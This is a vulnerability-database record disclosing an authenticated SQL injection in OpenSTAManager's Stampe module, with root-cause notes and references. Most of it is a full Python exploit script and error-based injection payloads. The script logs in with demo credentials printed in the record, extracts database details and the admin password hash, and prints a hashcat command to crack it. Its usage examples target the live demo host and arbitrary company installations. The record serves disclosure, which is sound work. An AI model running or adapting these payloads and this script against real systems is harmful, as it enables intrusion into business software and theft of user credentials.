{"id":"CVE-2025-69215","aliases":["GHSA-qx9p-w3vj-q24q"],"url":"https://o3.security/vulnerability/CVE-2025-69215","summary":"OpenSTAManager has an SQL Injection in the Stampe Module","details":"## Vulnerability Details\n\n### Location\n- **File:** `modules/stampe/actions.php`\n- **Line:** 26\n- **Vulnerable Code:**\n```php\ncase 'update':\n    if (!empty(intval(post('predefined'))) && !empty(post('module'))) {\n        $dbo->query('UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = '.post('module'));\n        // ↑ Direct concatenation without prepare() sanitization\n    }\n```\n\n### Root Cause\n\nThe `module` parameter from POST data is directly concatenated into an SQL UPDATE query without using the `prepare()` sanitization function. While the `predefined` parameter is validated with `intval()`, the `module` parameter only has an `!empty()` check, which does NOT prevent SQL injection.\n\n**Vulnerable Pattern:**\n```php\n// Line 25: intval() protects predefined, but module is not sanitized!\nif (!empty(intval(post('predefined'))) && !empty(post('module'))) {\n    // Line 26: Direct concatenation - VULNERABLE\n    $dbo->query('UPDATE ... WHERE `id_module` = '.post('module'));\n}\n```\n\n## Exploitation\n### Vulnerable Endpoint\n```\nPOST /modules/stampe/actions.php\n```\n\n### Required Parameters\n```\nop=update\nid_record=1\npredefined=1 (must be non-zero after intval())\nmodule=[INJECTION_PAYLOAD]\ntitle=Test\nfilename=test.pdf\n```\n\n### Authentication Requirement\n- Requires valid authenticated session (any user with access to Stampe module)\n- **VERIFIED:** Users with \"Tecnici\" group access can exploit (NOT admin-only!)\n- **PoC:** Demo at https://demo.osmbusiness.it with credentials tecnico/tecnicotecnico\n\n### Exploitation Type\n**Error-based SQL Injection** using MySQL's EXTRACTVALUE/UPDATEXML/GTID_SUBSET functions\n\n### Proof of Concept\n\n#### Method 1: EXTRACTVALUE (MySQL 5.1+)\n```python\nPOST /modules/stampe/actions.php\nContent-Type: application/x-www-form-urlencoded\n\nop=update&id_record=1&predefined=1&module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))&title=Test&filename=test.pdf\n```\n\n**Result:**\n\n<img width=\"2208\" height=\"912\" alt=\"image\" src=\"https://github.com/user-attachments/assets/710595e8-5cfb-4392-87a5-0b567487af34\" />\n\n**Extracted Data:** MySQL version `8.3.0`\n\n---\n\n#### Method 2: GTID_SUBSET (MySQL 5.6+)\n```python\nmodule=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1)\n```\n\n**Result:**\n\n<img width=\"2025\" height=\"903\" alt=\"image\" src=\"https://github.com/user-attachments/assets/eb2b4210-5301-4b3c-81b0-495eaec27af8\" />\n\n\n**Extracted Data:** Database name `openstamanager`\n\n---\n\n#### Method 3: UPDATEXML (MySQL 5.1+)\n```python\nmodule=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1)\n```\n\n**Result:**\n\n<img width=\"2027\" height=\"897\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a364951d-566b-4c86-9467-35352bd22c43\" />\n\n**Extracted Data:** Database user `demo_osm@web01.osmbusiness.it`\n\n---\n\n### Automated Exploitation\n\n**Full Exploit Script:** `exploit_stampe_sqli.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nSQL Injection Exploit - OpenSTAManager modules/stampe/actions.php\n\nUsage:\n    python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico\n    python3 exploit_stampe_demo.py -u admin -p admin123 --url https://custom.osm.local\n\"\"\"\n\nimport requests\nimport re\nimport argparse\nimport sys\nfrom html import unescape\nfrom urllib.parse import urljoin\n\nclass StampeSQLiExploit:\n    def __init__(self, base_url, username, password, verbose=False):\n        self.base_url = base_url.rstrip('/')\n        self.username = username\n        self.password = password\n        self.verbose = verbose\n        self.session = requests.Session()\n        self.session.headers.update({\n            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0'\n        })\n\n    def login(self):\n        \"\"\"Authenticate with username and password\"\"\"\n        login_url = urljoin(self.base_url, '/index.php')\n\n        if self.verbose:\n            print(f\"[DEBUG] Attempting login to {login_url}\")\n            print(f\"[DEBUG] Username: {self.username}\")\n\n        # First, get the login page to establish session\n        resp = self.session.get(login_url)\n        if self.verbose:\n            print(f\"[DEBUG] Initial GET status: {resp.status_code}\")\n\n        # Send login credentials with op=login parameter (required!)\n        login_data = {\n            'username': self.username,\n            'password': self.password,\n            'op': 'login',  # Required for OpenSTAManager\n        }\n\n        resp = self.session.post(login_url, data=login_data, allow_redirects=True)\n\n        if self.verbose:\n            print(f\"[DEBUG] Login POST status: {resp.status_code}\")\n            print(f\"[DEBUG] Cookies: {self.session.cookies.get_dict()}\")\n\n        # Check if login was successful\n        if 'PHPSESSID' not in self.session.cookies:\n            print(\"[-] Login failed: No session cookie received\")\n            return False\n\n        # Check if we're redirected to dashboard or still on login page\n        if 'username' in resp.text.lower() and 'password' in resp.text.lower() and 'login' in resp.url.lower():\n            print(\"[-] Login failed: Still on login page\")\n            if self.verbose:\n                print(f\"[DEBUG] Current URL: {resp.url}\")\n            return False\n\n        print(f\"[+] Successfully logged in as '{self.username}'\")\n        print(f\"[+] Session: {self.session.cookies.get('PHPSESSID')}\")\n        return True\n\n    def inject(self, sql_query):\n        \"\"\"Execute SQL injection payload\"\"\"\n        # Use UPDATEXML instead of EXTRACTVALUE (works better on demo)\n        payload = f\"14 AND UPDATEXML(1,CONCAT(0x7e,({sql_query}),0x7e),1)\"\n\n        target_url = urljoin(self.base_url, '/modules/stampe/actions.php')\n\n        if self.verbose:\n            print(f\"[DEBUG] Target: {target_url}\")\n            print(f\"[DEBUG] Payload: {payload}\")\n\n        response = self.session.post(\n            target_url,\n            data={\n                \"op\": \"update\",\n                \"id_record\": \"1\",\n                \"predefined\": \"1\",\n                \"module\": payload,\n                \"title\": \"Test\",\n                \"filename\": \"test.pdf\"\n            }\n        )\n\n        if self.verbose:\n            print(f\"[DEBUG] Response status: {response.status_code}\")\n            print(f\"[DEBUG] Response length: {len(response.text)}\")\n\n        # Unescape HTML entities first\n        response_text = unescape(response.text)\n\n        # Pattern 1: XPATH syntax error with HTML entities or quotes\n        # Matches: XPATH syntax error: '~data~' or &#039;~data~&#039;\n        xpath_match = re.search(r\"XPATH syntax error:\\s*['\\\"]?~([^~]+)~['\\\"]?\", response_text, re.IGNORECASE)\n        if xpath_match:\n            result = xpath_match.group(1)\n            if self.verbose:\n                print(f\"[DEBUG] Extracted via XPATH pattern: {result}\")\n            return result\n\n        # Pattern 2: Look in HTML comments (demo puts errors in comments)\n        # <!--...XPATH syntax error: '~data~'...-->\n        comment_match = re.search(r\"<!--.*?XPATH syntax error:\\s*['\\\"]?~([^~]+)~['\\\"]?.*?-->\", response_text, re.DOTALL | re.IGNORECASE)\n        if comment_match:\n            result = comment_match.group(1)\n            if self.verbose:\n                print(f\"[DEBUG] Extracted from HTML comment: {result}\")\n            return result\n\n        # Pattern 3: <code> tags\n        codes = re.findall(r'<code>(.*?)</code>', response_text, re.DOTALL)\n        for code in codes:\n            clean = code.strip()\n            if 'XPATH syntax error' in clean or 'SQLSTATE' in clean:\n                match = re.search(r\"~([^~]+)~\", clean)\n                if match:\n                    result = match.group(1)\n                    if self.verbose:\n                        print(f\"[DEBUG] Extracted from <code>: {result}\")\n                    return result\n\n        # Pattern 4: PDOException error format (as shown in user's example)\n        # PDOException: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~data~'\n        pdo_match = re.search(r\"PDOException:.*?XPATH syntax error:\\s*['\\\"]?~([^~]+)~['\\\"]?\", response_text, re.IGNORECASE | re.DOTALL)\n        if pdo_match:\n            result = pdo_match.group(1)\n            if self.verbose:\n                print(f\"[DEBUG] Extracted from PDOException: {result}\")\n            return result\n\n        # Pattern 5: Generic ~...~ markers (last resort)\n        markers = re.findall(r'~([^~]{1,100})~', response_text)\n        if markers:\n            if self.verbose:\n                print(f\"[DEBUG] Found generic markers: {markers}\")\n            # Filter out HTML/CSS junk\n            for marker in markers:\n                if marker and len(marker) > 2:\n                    # Skip common HTML patterns\n                    if not any(x in marker.lower() for x in ['button', 'icon', 'fa-', 'class', 'div', 'span', '<', '>']):\n                        if self.verbose:\n                            print(f\"[DEBUG] Using marker: {marker}\")\n                        return marker\n\n        if self.verbose:\n            print(\"[DEBUG] No data extracted from response\")\n            # Save response for debugging\n            with open('/tmp/stampe_response_debug.html', 'w') as f:\n                f.write(response.text)\n            print(\"[DEBUG] Response saved to /tmp/stampe_response_debug.html\")\n\n        return None\n\n    def dump_info(self):\n        \"\"\"Dump database information\"\"\"\n        queries = [\n            (\"Database Version\", \"VERSION()\"),\n            (\"Database Name\", \"DATABASE()\"),\n            (\"Current User\", \"USER()\"),\n            (\"Admin Username\", \"SELECT username FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n            (\"Admin Email\", \"SELECT email FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n            (\"Admin Password Hash (1-30)\", \"SELECT SUBSTRING(password,1,30) FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n            (\"Admin Password Hash (31-60)\", \"SELECT SUBSTRING(password,31,30) FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n            (\"Total Users\", \"SELECT COUNT(*) FROM zz_users\"),\n            (\"First Table\", \"SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1\"),\n        ]\n\n        print(\"=\"*70)\n        print(\" EXPLOITING SQL INJECTION - DATA EXTRACTION\")\n        print(\"=\"*70)\n        print()\n\n        results = {}\n        for desc, query in queries:\n            print(f\"[*] Extracting: {desc}\")\n            print(f\"    Query: {query}\")\n            result = self.inject(query)\n            if result:\n                print(f\"    ✓ Result: {result}\")\n                results[desc] = result\n            else:\n                print(f\"    ✗ Failed to extract\")\n            print()\n\n        return results\n\ndef main():\n    parser = argparse.ArgumentParser(\n        description='OpenSTAManager Stampe Module SQL Injection Exploit',\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n        epilog='''\nExamples:\n  # Exploit demo.osmbusiness.it with tecnico user\n  python3 %(prog)s -u tecnico -p tecnicotecnico\n\n  # Exploit demo with admin credentials\n  python3 %(prog)s -u admin -p admin123\n\n  # Exploit custom installation with verbose output\n  python3 %(prog)s -u tecnico -p pass123 --url https://erp.company.com -v\n        '''\n    )\n\n    parser.add_argument('-u', '--username', required=True,\n                        help='Username for authentication')\n    parser.add_argument('-p', '--password', required=True,\n                        help='Password for authentication')\n    parser.add_argument('--url', default='https://demo.osmbusiness.it',\n                        help='Base URL of OpenSTAManager (default: https://demo.osmbusiness.it)')\n    parser.add_argument('-v', '--verbose', action='store_true',\n                        help='Enable verbose output for debugging')\n\n    args = parser.parse_args()\n\n    print(\"╔\" + \"=\"*68 + \"╗\")\n    print(\"║  SQL Injection Exploit - OpenSTAManager Stampe Module          ║\")\n    print(\"║  CVE-PENDING | Authenticated Error-Based SQLi                 ║\")\n    print(\"╚\" + \"=\"*68 + \"╝\")\n    print()\n    print(f\"[*] Target: {args.url}\")\n    print(f\"[*] Username: {args.username}\")\n    print()\n\n    exploit = StampeSQLiExploit(args.url, args.username, args.password, args.verbose)\n\n    # Login first\n    if not exploit.login():\n        print(\"\\n[-] Authentication failed. Cannot proceed with exploitation.\")\n        print(\"[!] Please check:\")\n        print(\"    1. Are the credentials correct?\")\n        print(\"    2. Is the target URL accessible?\")\n        print(\"    3. Is the user account active?\")\n        sys.exit(1)\n\n    print()\n\n    # Extract data\n    results = exploit.dump_info()\n\n    # Summary\n    print(\"=\"*70)\n    print(\" EXTRACTION SUMMARY\")\n    print(\"=\"*70)\n    print()\n\n    if results:\n        for key, value in results.items():\n            print(f\"  {key:.<40} {value}\")\n\n        # If we got admin password hash, combine it\n        if \"Admin Password Hash (1-30)\" in results and \"Admin Password Hash (31-60)\" in results:\n            full_hash = results[\"Admin Password Hash (1-30)\"] + results[\"Admin Password Hash (31-60)\"]\n            print()\n            print(\"  \" + \"=\"*66)\n            print(f\"  Full Admin Password Hash: {full_hash}\")\n            print(\"  \" + \"=\"*66)\n            print()\n            print(\"  [!] Crack with hashcat:\")\n            print(f\"      hashcat -m 3200 '{full_hash}' wordlist.txt\")\n    else:\n        print(\"  ✗ No data extracted\")\n        if not args.verbose:\n            print(\"\\n  [!] Try running with -v flag for debugging information\")\n\nif __name__ == \"__main__\":\n    main()\n\n```\n\n### Attribution\nReported by Łukasz Rybak","published":"2026-02-04T17:42:31.964Z","modified":"2026-08-12T03:51:19.785900746Z","cvss":null,"epss":{"score":0.00374,"percentile":0.30103,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"devcode-it/openstamanager","fixedVersion":null}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/69xxx/CVE-2025-69215.json"},{"type":"ADVISORY","url":"https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qx9p-w3vj-q24q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69215"},{"type":"PACKAGE","url":"https://github.com/devcode-it/openstamanager"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:19.785900746Z"}}